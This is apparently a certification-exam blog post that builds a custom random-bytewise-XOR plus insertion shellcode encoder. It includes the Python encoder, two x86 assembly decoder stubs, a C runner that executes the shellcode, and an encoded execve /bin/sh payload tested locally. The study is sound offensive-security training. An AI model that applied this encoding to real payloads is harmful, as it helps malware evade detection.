Shellcode Encoding – Random Bytewise XOR (SLAE Exam #4)

Assignment #4 for the SLAE exam is to perform shellcode encoding with a custom scheme.

Shellcode Encoding - Introduction

First, the requirements for assignment #4 were as follows.

Create a custom encoding scheme like the "Insertion Encoder" we showed you.

PoC with using execve-stack as the shellcode to encode with your schema and execute.

Sorry about the title being slightly different this time, but it wouldn't fit.

Other than that, let's jump right in!

Shellcode Encoding - Introduction

For my algorithm, I wanted to do something a little different.

During my research, the most common solutions for this assignment fell into one of these three categories:

  • Rotational - I saw a lot of rotational solutions (think rot13), but these seemed a little on the simple side
  • ROR/ROL or NOT/ROL - These were an interesting idea (example), and would have allowed me to work with bit-shifts.
  • XOR and modifications - there were a lot of interesting variations, but most revolved around using XOR in one way or another.

In the end, I decided to go with a slightly change to the XOR encoder/decoder that I did not see anywhere else.

Random Bytewise XOR + Insertion Encoder Explanation

I decided to go with a XOR encoder, only using a different (and random) key for each byte of shellcode.

To encode my shellcode, I would need to take the following steps:

  1. Obtain/start with a base shellcode. In this case, I will just be using my Hello World shellcode for now.
  2. Perform an Insertion Encode using a pre-selected signature byte. While an insertion encoded shellcode is more difficult to detect than an unencoded variant, this is not the primary reason for this step. The reason behind this step is so that the decoding process has a "known good" value to verify success.
  3. Encode the first two bytes (signature + shellcode byte one) by XORing against a randomly selected key. Note: if they key produces a bad character in either of the positions, then use a new key.
  4. Repeat step #3 against every set of bytes. Note that a new value is randomly generated for each signature + shellcode byte pair.
  5. Insert a pre-selected marker (in this case, 0xAA) at the end of the shellcode. My stub will use this byte to decide when the decoding loop is complete.

The following flowchart demonstrates this process using 0x90 as a signature byte. The first two bytes are XORed against 0xFF. Then, the second two bytes are XORed against 0x0F. The next to last set of bytes is XORed against 0xAA, and the last set of bytes against 0x08.

Shellcode Encoding - Flowchart

The Encoder Code

With the encoding process covered, I wanted to share the encoder code now.

This Python script follows along with the steps outlined above. That said, I will be using the encoded shellcode later in the decoding example.

The code is fairly well commented, and allows for signature byte and bad character configuration.

#!/usr/bin/python

# SLAE Exam Assignment #4: Shellcode Encoding (Linux/x86) - Random Bytewise XOR + Insertion Encoder
# Author: Ray Doyle (@doylersec)
# Website: https://www.doyler.net

import array
from random import randint

def valid(byte):
    for c in badChars:
        if c == byte:
            return False
    return True

inserted = []
insertedEscaped = ""
encoded = ""
encoded2 = ""

badChars = [0x00]

#signature = randint(1, 255)
signature = 0x90

print "\nSignature byte: " + hex(signature)

shellcode = ("\xeb\x17\x31\xc0\xb0\x04\x31\xdb\xb3\x01\x59\x31\xd2\xb2\x0d\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe4\xff\xff\xff\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x21\x0a")

for x in bytearray(shellcode):
    inserted.append(signature)
    inserted.append(x)

    insertedEscaped += '\\x%02x' % signature
    insertedEscaped += '\\x%02x' % x

print "\nInserted: \n" + insertedEscaped

print "\nLength: %d\n\n" % len(bytearray(shellcode))

print "------------------------------------------------------------------------------------------------------------------------"

insertedArray = array.array('B', inserted)

for x in xrange(0, len(insertedArray), 2):
    validKey = False

    while not validKey:
        key = randint(1, 255)
        #print "KEY: " + str(key)
    
        newByte1 = insertedArray[x] ^ key
        newByte2 = insertedArray[x + 1] ^ key

        if valid(newByte1) and valid(newByte2):
            validKey = True
            encoded += "\\x%02x" % newByte1
            encoded += "\\x%02x" % newByte2

            encoded2 += "0x%02x," % newByte1
            encoded2 += "0x%02x," % newByte2

encoded += "\\xaa" 
encoded2 += "0xaa"

print "\nXORed: \n" + encoded
print "\nASM ready: \n" + encoded2
print

Once executed, it outputs the signature byte, the inserted shellcode, the XORed shellcode, and a version formatted for the assembly code. Note that this exact iteration isn't what I used in my decoder example below, but that is because my program chooses new random XOR bytes each run.

doyler@slae:~/slae/_exam/encoding$ python randxor_encoder.py

Signature byte: 0x90

Inserted:
\x90\xeb\x90\x17\x90\x31\x90\xc0\x90\xb0\x90\x04\x90\x31\x90\xdb\x90\xb3\x90\x01\x90\x59\x90\x31\x90\xd2\x90\xb2\x90\x0d\x90\xcd\x90\x80\x90\x31\x90\xc0\x90\xb0\x90\x01\x90\x31\x90\xdb\x90\xcd\x90\x80\x90\xe8\x90\xe4\x90\xff\x90\xff\x90\xff\x90\x48\x90\x65\x90\x6c\x90\x6c\x90\x6f\x90\x20\x90\x57\x90\x6f\x90\x72\x90\x6c\x90\x64\x90\x21\x90\x0a

Length: 43


------------------------------------------------------------------------------------------------------------------------


XORed:
\x23\x58\x22\xa5\x20\x81\xdc\x8c\x3f\x1f\xf0\x64\xbe\x1f\x2e\x65\x47\x64\x40\xd1\x82\x4b\x61\xc0\x54\x16\xcc\xee\xe9\x74\x36\x6b\x41\x51\xa8\x09\x92\xc2\x17\x37\xe1\x70\xb6\x17\x51\x1a\xd6\x8b\xaa\xba\xe0\x98\x72\x06\x78\x17\xd1\xbe\x50\x3f\x0a\xd2\x74\x81\x82\x7e\xfa\x06\x24\xdb\xaf\x1f\x91\x56\x9b\x64\x07\xe5\x72\x8e\x20\xd4\x50\xe1\x4b\xd1\xaa

ASM ready:
0x23,0x58,0x22,0xa5,0x20,0x81,0xdc,0x8c,0x3f,0x1f,0xf0,0x64,0xbe,0x1f,0x2e,0x65,0x47,0x64,0x40,0xd1,0x82,0x4b,0x61,0xc0,0x54,0x16,0xcc,0xee,0xe9,0x74,0x36,0x6b,0x41,0x51,0xa8,0x09,0x92,0xc2,0x17,0x37,0xe1,0x70,0xb6,0x17,0x51,0x1a,0xd6,0x8b,0xaa,0xba,0xe0,0x98,0x72,0x06,0x78,0x17,0xd1,0xbe,0x50,0x3f,0x0a,0xd2,0x74,0x81,0x82,0x7e,0xfa,0x06,0x24,0xdb,0xaf,0x1f,0x91,0x56,0x9b,0x64,0x07,0xe5,0x72,0x8e,0x20,0xd4,0x50,0xe1,0x4b,0xd1,0xaa

With that covered, let's jump into the decoding process!

Initial Decoding Process

The decoding process will follow similar steps to the encoding process, only in reverse. Note: if you catch the mistake in this decoding process, then bear with me. This was my first iteration, and I'll cover the final version a bit later.

  1. Setup a value to increment from 0x00 to 0xFF. The decoder uses this value to brute-force the encryption key.
  2. Attempt to XOR the first bytes against the variable.
  3. If the byte decodes to 0x90, then the encryption key is found. For other results, increment and loop.
  4. If the key was found, then decode the first two bytes, and reset the encryption key. Loop again for the second two bytes.
  5. Once the program reaches the end of the loop (denoted by the 0xAA marker), then the XOR decode is complete.
  6. Perform Insertion Encoder decoding by removing every other byte (the signature byte) from the shellcode.
  7. Jump to the completely decoded shellcode.

Shellcode Encoding - The Code Version 1

Unfortunately, the first iteration of my decoder isn't well commented. That said, this isn't the last version, so need to fret.

This code follows along with the decoding steps outlined above. That said, feel free to reach out to me if part of it doesn't make sense.

The insertion decoder process is almost exactly the same as the one in the SecurityTube video linked above. That said, this operates on every other byte starting from the second, as opposed to the first. The reason for this is that I've prepended my signature byte, as opposed to the insertion encoder which places the fake byte at the end.

global _start 

section .text

_start:
    ; JMP-CALL-POP
   jmp find_address

decoder:
   ; Get the address of the string into EDI and ESI
   pop edi
   push edi
   pop esi

get_key:
   ; Get the first byte and bruteforce till you get the token 0x90
   mov byte dl, [edi]
   ; Key that will be incremented from 0x00 to 0xFF
   xor ebx,ebx

bruteforce:
   inc ebx
   mov al,dl

   ; Marker for the end of the shellcode
   cmp al,0xAA
   je decode_insertion

   xor al,bl

   cmp al,0x90
   jne bruteforce

   mov al,bl

decode:
   xor byte [edi], al
   inc edi
   xor byte [edi], al
   inc edi
   jmp get_key

decode_insertion:
   lea edi, [esi]
   xor eax, eax
   xor ebx, ebx

insertion_decoder:
   mov bl, byte [esi + eax]
   xor bl, 0x90
   jnz short encoded
   mov bl, byte [esi + eax + 1]
   mov byte [edi], bl
   inc edi
   add al, 2
   jmp short insertion_decoder

execute:
    ; Jump to decoded shellcode
   jmp esi
   
find_address:
   call decoder
   encoded db 0xb7,0xcc,0x3d,0xba,0x0a,0xab,0xf3,0xa3,0x9b,0xbb,0x01,0x95,0x75,0xd4,0xbc,0xf7,0xfa,0xd9,0x1c,0x8d,0xd5,0x1c,0xf7,0x56,0x73,0x31,0xef,0xcd,0xa9,0x34,0x12,0x4f,0x50,0x40,0x71,0xd0,0x94,0xc4,0xf7,0xd7,0x7f,0xee,0x62,0xc3,0x48,0x03,0xd3,0x8e,0x76,0x66,0x2c,0x54,0x0c,0x78,0x05,0x6a,0x37,0x58,0xe4,0x8b,0xdc,0x04,0x3b,0xce,0xb6,0x4a,0xaf,0x53,0x59,0xa6,0xb5,0x05,0xf7,0x30,0x15,0xea,0xeb,0x09,0x9c,0x60,0xe4,0x10,0x7d,0xcc,0x56,0xcc,0xaa

Bruteforce Decoder - Obtaining the Shellcode and Testing Execution

With the first iteration of my shellcode complete, it was time to test it.

First, I compiled and linked the executable using the compile.sh script from before.

doyler@slae:~/slae/_exam/encoding$ sh ../../../compile.sh decode
[+] Assembling with Nasm ... 
[+] Linking ...
[+] Done!

Next, I obtained the shellcode (using the shorter one-liner).

doyler@slae:~/slae/_exam/encoding$ for i in $(objdump -d decode |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\xeb\x39\x5f\x57\x5e\x8a\x17\x31\xdb\x43\x88\xd0\x3c\xaa\x74\x10\x30\xd8\x3c\x90\x75\xf3\x88\xd8\x30\x07\x47\x30\x07\x47\xeb\xe5\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xf3\x90\x75\x12\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xeb\xed\xff\xe6\xe8\xc2\xff\xff\xff\xb7\xcc\x3d\xba\x0a\xab\xf3\xa3\x9b\xbb\x01\x95\x75\xd4\xbc\xf7\xfa\xd9\x1c\x8d\xd5\x1c\xf7\x56\x73\x31\xef\xcd\xa9\x34\x12\x4f\x50\x40\x71\xd0\x94\xc4\xf7\xd7\x7f\xee\x62\xc3\x48\x03\xd3\x8e\x76\x66\x2c\x54\x0c\x78\x05\x6a\x37\x58\xe4\x8b\xdc\x04\x3b\xce\xb6\x4a\xaf\x53\x59\xa6\xb5\x05\xf7\x30\x15\xea\xeb\x09\x9c\x60\xe4\x10\x7d\xcc\x56\xcc\xaa

Finally, I put the shellcode into my wrapper program and ran it. As you can see, "Hello World!" printed just fine!

doyler@slae:~/slae/_exam/encoding$ ./shellcode 
Shellcode Length: 151

Hello World!

Random Bytewise XOR + Insertion Decoder - Optimizations (Final Version)

With my code working, it was time to do some optimizations.

In this case of my custom encoder/decoder, I could actually optimize in a few places.

First, I optimized by actually fixing the algorithm. If you remember from my XOR encoder, the result XORed against a known value will give you the encryption key. In this case, I can XOR the signature output against 0x90, and get the encryption key for that pair. That saves me up to 255 operations per pair, since I don't need to brute force. Not only do I save the brute force operations, I no longer need to increment that register or perform the compare operation. While I was unable to calculate how much time this saved, it is still an obvious improvement.

Additionally, I can cut down on the size a little with this, plus some cleaning up.

The code is fairly well commented, and you can find it below. I've added comments to my first attempt, and removed the brute force loop. As you can see, this makes it easier to read and clearly more efficient.

; Filename: decode_randxor.nasm
; Author: Ray Doyle (@doylersec)
; Website: https://www.doyler.net
;
; Purpose: SLAE Exam Assignment #4 - Shellcode Decoder (Linux/x86) for the Random Bytewise XOR + Insertion Encoder

global _start 

section .text

_start:
   ; JMP-CALL-POP
   jmp find_address

decoder:
   ; Get the address of the encoded shellcode into EDI
   pop edi
   push edi
   ; Put the address of the shellcode into ESI as well (this will be used for the insertion decoder)
   pop esi

get_key:
   ; Load the first byte into AL to begin decryption
   mov byte al, [edi]

   ; Push 0x90 onto the stack. By XORing against 0x90, we obtain
   ;     the original encryption key.
   ;
   ; push 0x90 results in 68 90 00 00 00
   ; 6a 90 is 'push 0xffffff90'
   ; We are only using BL, so 0xffffff90 is fine
   push 0xffffff90
   pop ebx   

   ; Verify that we are not at the end of the shellcode.
   ; If we are, begin the insertion decoder.
   cmp al,0xAA
   je decode_insertion

   ; Obtain the original encryption key for the byte pair.
   ; This is calculated by XORing the result vs the signature byte (0x90)
   xor al,bl

decode_xor:
   ; Decrypt the first two bytes with the calculated key, then loop.
   xor byte [edi], al
   inc edi
   xor byte [edi], al
   inc edi
   jmp get_key

decode_insertion:
   ; Counter for the entire shellcode length, starts at 0x90 (first to replace)
   lea edi, [esi]
   ; Clear out the EAX and EBX registers before the decoder process
   xor eax, eax
   xor ebx, ebx

insertion_decoder:
   ; Starting with the first 0x90, load the byte into BL
   mov bl, byte [esi + eax]
   ; XOR agains the signature byte
   xor bl, 0x90
   ; If a non-zero value is returned (should only happen with the marker byte), then the shellcode is decoded
   jnz short encoded
   ; Move the next legit byte (0xcc to start) into BL)
   mov bl, byte [esi + eax + 1]
   ; Moves the legit byte from bl to the "end" of the legit shellcode, replaces the first 0x90 the first run
   mov byte [edi], bl
   ; Increments EDI to point to the end of the legit shellcode (points to the old 0xcc location, shellcode[2]
   inc edi
   ; Increments EAX by 2 (the 0x90 counter)
   add al, 2
   ; Loop
   jmp short insertion_decoder
   
find_address:
   call decoder
   encoded db 0xb7,0xcc,0x3d,0xba,0x0a,0xab,0xf3,0xa3,0x9b,0xbb,0x01,0x95,0x75,0xd4,0xbc,0xf7,0xfa,0xd9,0x1c,0x8d,0xd5,0x1c,0xf7,0x56,0x73,0x31,0xef,0xcd,0xa9,0x34,0x12,0x4f,0x50,0x40,0x71,0xd0,0x94,0xc4,0xf7,0xd7,0x7f,0xee,0x62,0xc3,0x48,0x03,0xd3,0x8e,0x76,0x66,0x2c,0x54,0x0c,0x78,0x05,0x6a,0x37,0x58,0xe4,0x8b,0xdc,0x04,0x3b,0xce,0xb6,0x4a,0xaf,0x53,0x59,0xa6,0xb5,0x05,0xf7,0x30,0x15,0xea,0xeb,0x09,0x9c,0x60,0xe4,0x10,0x7d,0xcc,0x56,0xcc,0xaa

Shellcode Encoding - Random Bytewise XOR + Insertion Decoder Execution

First, I compiled and linked the new binary.

doyler@slae:~/slae/_exam/encoding$ sh compile.sh decode

[+] Assembling with Nasm...
[+] Linking...

[+] Done!

Next, I obtained the shellcode and added it to my wrapper.

doyler@slae:~/slae/_exam/encoding$ for i in $(objdump -d decode |grep "^ " |cut -f2); do echo -n '\x'$i; done; echo
\xeb\x2f\x5f\x57\x5e\x8a\x07\x6a\x90\x5b\x3c\xaa\x74\x0a\x30\xd8\x30\x07\x47\x30\x07\x47\xeb\xed\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xf3\x90\x75\x10\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xeb\xed\xe8\xcc\xff\xff\xff\xb7\xcc\x3d\xba\x0a\xab\xf3\xa3\x9b\xbb\x01\x95\x75\xd4\xbc\xf7\xfa\xd9\x1c\x8d\xd5\x1c\xf7\x56\x73\x31\xef\xcd\xa9\x34\x12\x4f\x50\x40\x71\xd0\x94\xc4\xf7\xd7\x7f\xee\x62\xc3\x48\x03\xd3\x8e\x76\x66\x2c\x54\x0c\x78\x05\x6a\x37\x58\xe4\x8b\xdc\x04\x3b\xce\xb6\x4a\xaf\x53\x59\xa6\xb5\x05\xf7\x30\x15\xea\xeb\x09\x9c\x60\xe4\x10\x7d\xcc\x56\xcc\xaa

...

doyler@slae:~/slae/_exam/encoding$ gcc -o shellcode -z execstack -fno-stack-protector shellcode.c 

Finally, I verified that it still executed properly. As you can see, everything worked just fine, and I reduced by length by 10 whole bytes!

doyler@slae:~/slae/_exam/encoding$ ./shellcode 

Stub Length: 54
Shellcode Length: 87

Total Length: 141

Hello World!

Note: I also modified my wrapper class to show the length of my decoder stub separately from the shellcode length. The main usage of this was to see how many bytes I was actually decreasing by + where my overhead was.

#include<stdlib.h>
#include<stdio.h>
#include<string.h>

unsigned char stub[] = \
"\xeb\x31\x5f\x57\x5e\x8a\x07\x6a\x90\x5b\x3c\xaa\x74\x0a\x30\xd8\x30\x07\x47\x30\x07\x47\xeb\xed\x8d\x3e\x31\xc0\x31\xdb\x8a\x1c\x06\x80\xf3\x90\x75\x12\x8a\x5c\x06\x01\x88\x1f\x47\x04\x02\xeb\xed\xff\xe6\xe8\xca\xff\xff\xff";

unsigned char shellcode[] = \
"\xb7\xcc\x3d\xba\x0a\xab\xf3\xa3\x9b\xbb\x01\x95\x75\xd4\xbc\xf7\xfa\xd9\x1c\x8d\xd5\x1c\xf7\x56\x73\x31\xef\xcd\xa9\x34\x12\x4f\x50\x40\x71\xd0\x94\xc4\xf7\xd7\x7f\xee\x62\xc3\x48\x03\xd3\x8e\x76\x66\x2c\x54\x0c\x78\x05\x6a\x37\x58\xe4\x8b\xdc\x04\x3b\xce\xb6\x4a\xaf\x53\x59\xa6\xb5\x05\xf7\x30\x15\xea\xeb\x09\x9c\x60\xe4\x10\x7d\xcc\x56\xcc\xaa";

unsigned char* code;

main()
{
    printf("\nStub Length: %d\n", strlen(stub));
    printf("Shellcode Length: %d\n\n", strlen(shellcode));

    printf("Total Length: %d\n\n", strlen(stub) + strlen(shellcode));

    code = malloc(strlen(stub) + strlen(shellcode));
    memcpy(code, stub, strlen(stub));
    memcpy(&code[strlen(stub)], shellcode, strlen(shellcode));

    int (*ret)() = (int(*)())code;

    ret();
}

Adding in Execve

At this point, I technically had one more requirement of using the execve-stack shellcode to confirm execution.

I grabbed my execve-stack shellcode from my original execve shellcode post

First, I encoded my shellcode.

doyler@slae:~/slae/_exam/encoding$ python encoder.py 

Signature: 0x90

Inserted: 
\x90\x31\x90\xc0\x90\x50\x90\x68\x90\x62\x90\x61\x90\x73\x90\x68\x90\x68\x90\x62\x90\x69\x90\x6e\x90\x2f\x90\x68\x90\x2f\x90\x2f\x90\x2f\x90\x2f\x90\x89\x90\xe3\x90\x50\x90\x89\x90\xe2\x90\x53\x90\x89\x90\xe1\x90\xb0\x90\x0b\x90\xcd\x90\x80

Length: 30

------------------------------------------------------------------------------------------------------------------------

XORed: 
\x82\x23\x73\x23\x3c\xfc\x38\xc0\x2c\xde\xc3\x32\x1e\xfd\x26\xde\x6b\x93\x28\xda\x0d\xf4\xcd\x33\x6d\xd2\x99\x61\x52\xed\xcb\x74\x1a\xa5\xc6\x79\x20\x39\x7a\x09\x81\x41\x17\x0e\x97\xe5\xb0\x73\x25\x3c\xa7\xd6\x89\xa9\xd8\x43\x9f\xc2\xfd\xed\xaa

ASM ready: 
0x82,0x23,0x73,0x23,0x3c,0xfc,0x38,0xc0,0x2c,0xde,0xc3,0x32,0x1e,0xfd,0x26,0xde,0x6b,0x93,0x28,0xda,0x0d,0xf4,0xcd,0x33,0x6d,0xd2,0x99,0x61,0x52,0xed,0xcb,0x74,0x1a,0xa5,0xc6,0x79,0x20,0x39,0x7a,0x09,0x81,0x41,0x17,0x0e,0x97,0xe5,0xb0,0x73,0x25,0x3c,0xa7,0xd6,0x89,0xa9,0xd8,0x43,0x9f,0xc2,0xfd,0xed,0xaa

Next, I updated my .nasm file.

Finally, I used a new script to automate the entire compilation, linking, shellcode, and compilation process.

doyler@slae:~/slae/_exam/encoding$ ./auto-shellcode.sh decode

[+] Assembling with Nasm...
[+] Linking...
[+] Dumping with objdump...

[+] Compiling with GCC...

[+] Done!

You can find the update utility below.

#!/bin/bash

printf "\n[+] Assembling with Nasm..."
nasm -f elf32 -o $1.o $1.nasm

printf "\n[+] Linking..."
ld -o $1 $1.o

printf "\n[+] Dumping with objdump...\n"

SHELLCODE=$(for i in $(objdump -d $1.o -M intel | grep "^ " | cut -f2); do echo -n '\x'$i; done)

#printf "${SHELLCODE}"

WRAPPER=$(cat <<-EOF > shellcode.c
#include<stdio.h>
#include<string.h>

unsigned char code[] = "$SHELLCODE";

main()
{
        printf("Shellcode Length: %d\\n", strlen(code));
        int (*ret)() = (int(*)())code;
        ret();
}
EOF
)

#printf "${WRAPPER}"

printf "\n[+] Compiling with GCC...\n"

gcc -o shellcode -fno-stack-protector -z execstack shellcode.c

printf "\n[+] Done!\n\n"

Finally, I ran the newly created shellcode executable, and it worked!

doyler@slae:~/slae/_exam/encoding$ ps
  PID TTY          TIME CMD
 3803 pts/1    00:00:00 bash
11902 pts/1    00:00:00 ps
doyler@slae:~/slae/_exam/encoding$ ./shellcode 
Shellcode Length: 117
doyler@slae:/home/doyler/slae/_exam/encoding$ ps
  PID TTY          TIME CMD
 3803 pts/1    00:00:00 bash
11903 pts/1    00:00:00 bash
11959 pts/1    00:00:00 ps
doyler@slae:/home/doyler/slae/_exam/encoding$ exit
exit

Shellcode Encoding - Final Execution

Shellcode Encoding - Conclusion

This assignment might have been my favorite so far. I was creative, and still improved on my work.

The next assignment is some shellcode analysis. That post will differ from these first three, as I don't have to write anything myself.

Only 3 more assignments to finish, and then it's OSCE time!

Finally, you can find the code and updates in my GitHub repository.

SLAE Exam Requirement

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert Certification:

http://www.securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student-ID: SLAE-1212

doyler on Githubdoyler on Twitter
doyler
Ray Doyle is an avid pentester/security enthusiast/beer connoisseur who has worked in IT for almost 16 years now. From building machines and the software on them, to breaking into them and tearing it all down; he's done it all. To show for it, he has obtained an OSCP, eCPPT, eWPT, eWPTX, eMAPT, Security+, ICAgile CP, ITIL v3 Foundation, and even a sabermetrics certification!

He currently serves as a Senior Penetration Testing Consultant for Secureworks. His previous position was a Senior Penetration Tester for a major financial institution.

When he's not figuring out what cert to get next (currently GXPN) or side project to work on, he enjoys playing video games, traveling, and watching sports.

2 Comments

Filed under Security Not Included

2 Responses to Shellcode Encoding – Random Bytewise XOR (SLAE Exam #4)

  1. Michael Green

    Thanks Ray!
    The clarity and content are much appreciated!

Leave a Reply

Your email address will not be published. Required fields are marked *

*

This site uses Akismet to reduce spam. Learn how your comment data is processed.